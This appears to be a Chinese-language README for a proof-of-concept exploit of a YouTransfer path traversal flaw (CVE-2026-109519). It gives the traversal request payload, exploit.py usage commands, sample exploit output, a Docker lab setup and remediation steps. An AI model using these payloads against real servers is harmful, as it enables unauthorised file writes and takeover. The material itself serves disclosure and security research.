通过 YouTransfer 中的路径遍历实现任意文件写入
/settings/template
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-109519 |
| VulDB ID | 417175 |
| 产品 | YouTransfer |
| 受影响版本 | <= 1.1.0 |
| 类型 | 路径遍历 / 任意文件写入 |
| 攻击向量 | 网络(未认证) |
| CVSS 评分 | 8.3 — 高危 |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L |
| CWE | CWE-22(对路径名的限制不恰当,导致受限目录遍历) |
| 作者 | @0xgh0stri13y |
YouTransfer 暴露了一个未认证的 /settings/template 端点,该端点允许将模板文件写入磁盘。template 参数被直接传递给文件系统,未对路径遍历序列(../)进行任何净化处理。
攻击者可利用此漏洞将任意内容写入应用程序进程可访问的任意路径,从而完全逃逸出预期的模板目录。
POST /settings/template
template=../../../arbitrary/path/file.txt ← no path validation
body=ATTACKER_CONTROLLED_CONTENT ← no content filtering
应用程序将 template 参数视为相对路径,并将 body 的内容写入该位置,且未进行以下操作:
../ 序列path.resolve() 或类似防护措施限制目标目录┌─────────────────────────┐
│ Attacker │
└────────┬────────────────┘
│
│ POST /settings/template
│ template = ../../../target/path/file.ext
│ body = <attacker-controlled content>
│
▼
┌─────────────────────────┐
│ YouTransfer Server │
│ (No auth required) │
│ │
│ path.join(templateDir, │
│ "../../../target/..") │
│ │
│ Writes content to disk │
│ OUTSIDE templates dir │
└─────────────────────────┘
│
▼
File written to arbitrary
location on the server
# Write a proof-of-concept file to demonstrate path traversal
python exploit.py -t http://target:5000
# Write to a custom path outside the templates directory
python exploit.py -t http://target:5000 -p "../../../tmp/pwned.txt" -b "CVE-2026-109519 PoC"
# Verify with a benign canary file
python exploit.py -t http://target:5000 -p "../views/pages/canary.html" -b "<h1>Path Traversal PoC</h1>"
$ python exploit.py --help
usage: exploit.py [-h] -t TARGET [-p TEMPLATE_PATH] [-b BODY] [--timeout TIMEOUT] [--verify]
CVE-2026-109519 — YouTransfer <= 1.1.0 — Unauthenticated Path Traversal (Arbitrary File Write)
options:
-h, --help show this help message and exit
-t, --target TARGET YouTransfer base URL (e.g. http://victim:5000)
-p, --template-path TEMPLATE_PATH
Traversal path for the template parameter
(default: ../poc_pathtraversal.txt)
-b, --body BODY Content to write to the file
(default: CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y)
--timeout TIMEOUT HTTP timeout in seconds (default: 15)
--verify Attempt to verify the write via GET request
┌─────────────────────────────────────────────────┐
│ CVE-2026-109519 PoC Exploit │
│ YouTransfer <= 1.1.0 Path Traversal (CWE-22) │
└─────────────────────────────────────────────────┘
Unauthenticated Arbitrary File Write
github.com/0xgh0stri13y
[*] Target : http://target:5000
[*] Path : ../poc_pathtraversal.txt
────────────────────────────────────────────────────────
[*] Checking target: http://target:5000
[+] Target is alive and running YouTransfer
[*] Sending path traversal payload via POST /settings/template
[*] template = ../poc_pathtraversal.txt
[*] body = CVE-2026-109519 Path Traversal PoC by @0xgh0stri13y
[+] Payload delivered successfully (HTTP 200, no auth required)
[*] Verifying file write...
[+] Verification successful — file content matches payload ✓
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Path traversal confirmed — arbitrary file write verified
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Exploit completed successfully — Path Traversal confirmed ✓
使用 Docker 启动一个存在漏洞的实例:
docker pull remie/youtransfer:stable
docker run -d -p 5000:5000 --name youtransfer-vuln remie/youtransfer:stable
然后运行该漏洞利用程序:
python exploit.py -t http://127.0.0.1:5000 --verify
/settings/template 端点进行身份验证 — 要求有效的管理员会话。template 路径进行净化处理 — 拒绝或剥离 ../ 序列;使用 path.resolve() 并验证解析后的路径仍位于预期的模板目录内。本工具及所提供的信息仅用于经授权的安全研究和教育目的。未经所有者明确书面许可,对系统使用此漏洞利用程序是非法且不道德的。作者不对本工具造成的任何滥用或损害承担责任。